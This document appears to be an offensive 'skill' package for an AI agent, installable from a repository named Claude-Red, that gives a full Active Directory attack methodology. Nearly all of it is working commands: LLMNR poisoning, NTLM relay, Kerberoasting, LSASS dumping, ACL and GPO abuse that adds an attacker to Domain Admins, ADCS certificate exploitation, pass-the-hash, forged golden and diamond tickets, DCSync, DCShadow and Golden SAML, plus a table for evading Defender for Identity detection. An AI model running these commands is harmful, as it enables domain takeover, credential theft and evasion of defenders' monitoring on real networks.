Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-active-directory
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
Crack with hashcat mode 5600. If cracking fails, relay instead.
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
Parse with Mimikatz or pypykatz offline:
pypykatz lsa minidump lsass.dmp
| Right | Abuse |
|-------|-------|
| GenericAll / GenericWrite | Add SPN → Kerberoast; reset password; add member |
| WriteDacl | Grant yourself DCSync rights, then DCSync |
| WriteOwner | Take ownership → grant rights → exploit |
| AllExtendedRights (User) | Force password change |
| AllExtendedRights (Domain) | DCSync |
| AddMember | Add self to privileged group |
| WriteSPN | Set SPN, kerberoast target |
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
-PrincipalIdentity attacker -Rights DCSync
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:cifs/dc.corp.local /ptt
# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
| Technique | Tool / RPC |
|-----------|-----------|
| PetitPotam | MS-EFSRPC (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv) |
| PrinterBug | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx) |
| DFSCoerce | MS-DFSNM (NetrDfsRemoveStdRoot) |
| ShadowCoerce | MS-FSRVP |
| WebDAV | Search-and-replace UNC path embedded in any web fetch |
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
--GPOName "Workstation Policy"
certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
| ID | Misconfig | Exploitation |
|----|-----------|--------------|
| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |
| ESC2 | Any Purpose EKU | Request cert valid for any use |
| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |
| ESC4 | Vulnerable template ACL | Modify template to ESC1 |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |
| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |
| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |
| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |
| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |
| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |
| ESC13 | Issuance policy linked to group | Cert grants group membership |
| ESC14 | altSecurityIdentities write | Map attacker cert to admin |
| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |
# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
-upn [email protected]
# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>
# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
-spn cifs/server.corp.local Administrator
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
Add ACE granting your account GenericAll on CN=AdminSDHolder,CN=System,DC=corp,DC=local. SDProp propagates to all protected groups every 60 minutes.
# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
| Pivot | Path |
|-------|------|
| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |
| Seamless SSO | Forge Kerberos ticket for AZUREADSSOACC$ → cloud SSO any user |
| PTA agent | DLL hijack Microsoft.Azure.SecurityTokenService → harvest cleartext |
| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |
| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |
| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |
# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
-PfxFileName 'token-signing.pfx'
| MDI Detector | Evasion |
|--------------|---------|
| Honeytoken account access | Always check description and recent activity before hitting accounts |
| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |
| Suspicious Kerberos delegation | Avoid noisy S4U2self chains on monitored DCs |
| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |
| DCSync from non-DC | Relay through legitimate replication-permitted accounts |
| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |
# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }
# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users
# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass
# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
# 5. Identify attack path → execute → loot → persist
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